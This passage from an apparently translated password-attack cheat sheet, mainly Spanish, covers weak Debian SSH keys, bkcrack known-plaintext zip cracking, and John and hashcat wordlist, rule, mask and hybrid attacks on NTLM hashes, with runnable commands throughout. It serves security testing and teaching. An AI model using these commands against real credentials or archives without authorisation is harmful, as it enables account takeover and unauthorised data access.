Claves SSH débiles / Debian PRNG predecible

Algunos sistemas tienen fallos conocidos en la semilla aleatoria utilizada para generar material criptográfico. Esto puede resultar en un espacio de claves drásticamente reducido que puede ser bruteforced con herramientas such as snowdroppe/ssh-keybrute. También están disponibles conjuntos pre-generados de claves débiles, como g0tmi1k/debian-ssh.

STOMP (ActiveMQ, RabbitMQ, HornetQ y OpenMQ)

El protocolo de texto STOMP es un protocolo de mensajería ampliamente utilizado que permite una comunicación e interacción fluida con populares servicios de colas de mensajes como RabbitMQ, ActiveMQ, HornetQ y OpenMQ. Proporciona un enfoque estandarizado y eficiente para intercambiar mensajes y realizar diversas operaciones de mensajería.

Known plaintext zip attack

Necesitas conocer el plaintext (o parte del plaintext) de un archivo contenido dentro del zip encriptado. Puedes comprobar los filenames y el tamaño de los archivos contenidos en un zip encriptado ejecutando: 7z l encrypted.zip
Descarga bkcrack desde la página de releases.

# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file

./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd

Wordlists

Wordlist Generation Tools

  • kwprocessor: Generador avanzado de keyboard-walk con caracteres base, keymap y rutas configurables.
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt

John mutation

Lee /etc/john/john.conf y configúralo

john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules

Hashcat

Hashcat attacks

  • Wordlist attack (-a 0) con reglas

Hashcat ya viene con una carpeta que contiene reglas pero puedes encontrar other interesting rules here.

hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
  • Wordlist combinator ataque

Es posible combinar 2 wordlists en 1 con hashcat.
Si la lista 1 contenía la palabra “hello” y la segunda contenía 2 líneas con las palabras “world” y “earth”, se generarán las palabras helloworld y helloearth.

# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt

# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
  • Mask attack (-a 3)
# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d

hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff

# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.

# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
  • Wordlist + Mask (-a 6) / Mask + Wordlist (-a 7) ataque
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d

# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
